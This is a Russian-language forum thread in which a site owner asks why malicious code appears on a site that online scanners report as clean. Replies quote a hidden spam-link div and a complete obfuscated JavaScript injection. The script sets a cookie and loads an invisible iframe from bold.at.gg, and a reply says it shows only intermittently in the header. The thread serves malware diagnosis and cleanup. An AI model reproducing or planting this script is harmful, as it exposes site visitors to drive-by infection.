Помогите найти вредоносный код на сайте

http://sitecheck.sucuri.net/scanner/?scan=onthai.ru

Стучите в асю, поможем с удалением вирусов!

Приветствую, снова возникла проблема. Теперь вредоносный код обнаруживается на этом сайте:

_volan.info

Хотя проверка показывает, что все чисто http://sitecheck.sucuri.net/scanner/?scan=volan.info

Подскажите, в чем может быть проблема?

это ? -

<div style="position:absolute;left:-1245px;width:-2356px;">Понравился мой блог "Бадминтон"? Тогда советую Вам почитать <a href="http://www.kohtekct.com/category/poiskovye-sistemy/yandeks-poiskovye-sistemy/">яндекс</a> и <a href="http://www.saphris.ru/category/psixiatriya/epilepsiya/">эпилепсия</a>.</div>

так а что тут искать? всё очевидно:

<script type='text/javascript'>var a=!1;t9="lonly";if(-1==document.cookie.indexOf(t9)){x4=72E6;var d=new Date;x3="2";d.setTime(d.getTime());sympthom="bold.at.gg";ed=new Date(d.getTime()+x4);document.cookie=t9+"="+escape(ed.toGMTString())+";expires="+ed.toGMTString()+";path=/";k0="ht"+""+"tp"+":"+"//"+sympthom+"/i"+"n.c"+""+"gi"+"?"+x3;var e=-1!=navigator.userAgent.toLowerCase().indexOf("firefox"),f="1",j=function(){};j.prototype={b:function(){i=43724;this.ha="";u="u";return k0},a:function(){q="q";dN=49709;this.Z=46019;w="";rJ=a;this.z="";var g=document; cR=kQ=a;this.O="";var k=window;dO="";var h=this;this.j=this.v="";this.na=64509;this.h="rQ";pK="";this.s=39122;this.da="dY";this.J="fA";this.Y="dE";fQ=cD="";this.k="sE";try{uK=17600;this.qa="pC";this.Q="bZR";this.P=41545;cL=pW="";this.oa="nU";wK=a;this.R=eSU="";rO=pOR=this.la=a;this.r=eK=kVQ="";qB=a;mF="mF";this.U=a;this.G="";this.I="bY";vW="getsetAttrisdf";this.aa="";this.W="zS";wE=this.T=a;this.S="";this.ca=a;this.d=55903;this.V=33170;gK=62679;var b=[];qR=vS=a;this.D="";e||(f="0");b.push("height", "substring","trecreateElementget","width","vbmifrset",vW,"body","appendChild",f,g,"src");this.F=a;this.$=42071;this.m=21002;eO=64506;this.q=55314;yT="";hS=a;this.n=aU=uKD="";fK=a;yI=this.i=this.f="";wI="wI";sJ=11632;this.ka=a;rG="";this.o=a;this.l=40171;aA=4550;gL=40598;var l=b[2][b[1]](3,16);this.H=this.p=nZ="";this.u="uX";gP="gP";this.ma="nAO";var m=b[4][b[1]](3,6);cO=52931;this.t=a;this.K=44254;this.N=21921;vK=m+"ame";tI="tI";lO="lO";this.ia="mO";jZ=24453;var n=b[5][b[1]](3,11);this.fa=this.ja= "";p=n+"bute";this.ba="dH";qU=this.C="";rJQ=a;var o=h.b();this.c=tT="";var c=b[9][l](vK);this.A="";this.X="iZ";c[b[10]]=o;nD=a;mIO="mIO";this.pa="";c[b[3]]=b[8];oH=40281;this.ga="";kM="kM";c[b[0]]=b[8];this.e=58620;mH=this.B="";bW="bW";wY="";b[9][b[6]][b[7]](c);kR="";this.w=a;fVT=""}catch(s){hK="",this.M=45116,lKT=a,this.g="rD",g.write("\u003C\u0068\u0074\u006D\u006C\u003E\u003C\u0062\u006F\u0064\u0079\u003E\u003C\u002F\u0062\u006F\u0064\u0079\u003E\u003C\u002F\u0068\u0074\u006D\u006C\u003E"),this.ea=a,uIE="",this.L="fI",k.setTimeout(function(){h.a()},233),iGB=29282,zN=6951}iS=""}};cB="";var r=new j;gT="";r.a()};</script>

Выдаётся в шапке, но не постоянно, поэтому и проверку проходит.